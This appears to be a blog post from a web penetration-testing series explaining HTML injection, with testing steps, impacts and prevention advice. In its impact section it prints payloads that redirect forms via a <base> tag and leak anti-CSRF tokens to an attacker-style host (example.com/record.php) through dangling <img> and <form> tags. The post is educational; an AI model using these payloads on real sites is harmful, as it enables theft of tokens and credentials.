HTML Injection
Hello Techies,
This is my 25th blog on web application security penetration testing. In this blog I will explain about HTML Injection.
In my last blog, I have explained about Open Redirection Vulnerability. Hope everyone liked it. If you haven’t read it yet please follow along.
What is HTML ?
HTML stands for Hypertext Mark-up Language where all the website elements are in written into tags. Browser does not understands server side technologies. Although we use any technology like Java, Dot Net, PHP to create a website but at the end all server side code is gets converted into HTML documents using different html parser.
What is HTML Injection ?
When a user supplied input is directly incorporated within any part of web pages without proper input validation and sanitization then we called it as HTML Injection.
HTML injections (Hypertext Markup Language injections) are vulnerabilities that are very similar to Cross-site Scripting (XSS). The delivery mechanisms are exactly the same but the injected content is pure HTML tags, not a script like in the case of XSS.
There are two major types of HTML injection: reflected and stored, just like in the case of XSS vulnerabilities. In the case of a reflected HTML injection, the payload must be delivered to each user individually (usually using social engineering, as a malicious link) and becomes part of the request. In the case of a stored HTML injection, the payload is stored by the web server and delivered later potentially to multiple users.
How to Test for HTML Injection?
1] Visit website manually.
2] Find the parameters being passed to server either GET based or POST based. Any input parameter. Best way is to spider host to see all url parameters.
3] Enter simple text first and if it is reflected back on page then there may be chances of HTMLi.
4] Enter HTML payload and if payload executed successfully then there is HTMLi.
5] Once you found the parameter where you want to test HTML injection, just enter basic HTML tag like <H2>Welcome</H2>, if the WELCOME reflects on the screen in larger font, it is vulnerable to HTML injection.
Here is the simple POC’s I have found on different websites:
Variant 1:
I have entered <h1>Hello</h1> and it is reflected back on big font which confirms HTML Injection Vulnerability.
Variant 2: Login to the application enter malicious link which is send to other user’s via email to other users.
Attacker has sent malicious link to other user which is received by victim. Snapshot of victim’s email inbox which proves issue.
I can give hundreds of example which I have exploited successfully but I hope this examples are enough for understanding simple exploitation of HTML Injection.
Impact:
Below is the impact of HTML Injection which I have collected from simple googling and organize it for readers.
Modifying Webpages for Reputation Damage:
The simplest application of HTML injection is to change the visible content of the page. For example, an attacker may use a stored HTML injection to inject a visual advertisement of a product that they want to sell. A similar case would be when the attacker injects malicious HTML that aims to harm the reputation of the page, for example, for political or personal reasons.
In both these cases, the injected content aims to look like a legit part of the HTML page. And in both these cases, a stored HTML injection vulnerability would be required by the attacker.
Extracting Sensitive User Data
Another common application of HTML injection is to create a form on the target page and get the data entered in that form. For example, the attacker may inject malicious code with a fake login form. The form data (login and password) would then be sent to a server controlled by the attacker.
If the web page uses relative URLs, the attacker may also attempt to use the <base> tag to hijack data. For example. if they inject <base href=’http://example.com/'> and the web page uses relative URLs for form submission, all the forms would be sent to the attacker instead.
The attacker may also hijack valid HTML forms by injecting a <form> tag before a legitimate <form> tag. Form tags cannot be nested and the top-level form tag is the one that takes precedence.
In all these cases, the attacker may use a reflected HTML injection just as well as a stored HTML injection.
Extracting Anti-CSRF Tokens
An attacker may use HTML injection to exfiltrate anti-CSRF tokens in order to perform a Cross-site Request Forgery (CSRF) attack later. Anti-CSRF tokens are usually provided using the hidden input type in a form.
To exfiltrate the token, the attacker may, for example, use a non-terminated <img> tag like <img src=’http://example.com/record.php? — the lack of closing single quote causes the rest of the content to become part of the URL until another single quote is found. If valid code uses double quotes instead, the hidden input will be sent to attacker-controlled record.php script and recorded:
<img src=’http://example.com/record.php?<input type=”hidden” name=”anti_xsrf” value=”s74bogj63h”>
Another option is to use the <textarea> tag. In such case, all content after the <textarea> tag will be submitted and both the <textarea> and <form> tags will be implicitly closed. However, in this case, the user must actually be tricked into submitting the form manually.
<form action=’http://example.com/record.php?'<textarea><input type=”hidden” name=”anti_xsrf” value=”s74bogj63h”>
Extracting Passwords Stored in the Browser
HTML injections can also be used by attackers to place forms that are automatically filled by browser password managers. If the attacker manages to inject a suitable form, the password manager automatically inserts user credentials. In the case of many browsers, the form must just have the right field names and structure and the action parameter may point to any host.
There are a lot of other potential uses of HTML injections. To learn more, we recommend that you read an excellent cheat sheet by Michał Zalewski (lcamtuf). However, even the above applications should be enough for you to realize that while HTML injection may not be as dangerous as, for example, SQL injection, you should not ignore this type of attack.
Prevention:
Defense against HTML injections should be combined with defense against Cross-site Scripting. Just like in the case of XSS, you can either aim to filter out the HTML content from the input (but a lot of tricks can be used to evade filters) or escape all HTML tags.
While the second approach is much more effective, it may make it difficult if, by design, user input should contain some allowed HTML code. In such a case, a very strict, whitelist-based filtering approach is recommended.
References of Hackerone Reports for HTML Injection:
Hope everyone enjoying reading my blogs. If you have any suggestions or you want me to write blog on any specific topic with real-time exploitations feel free to mention in the comment.
Don’t forget to like and follow.
Thanks!
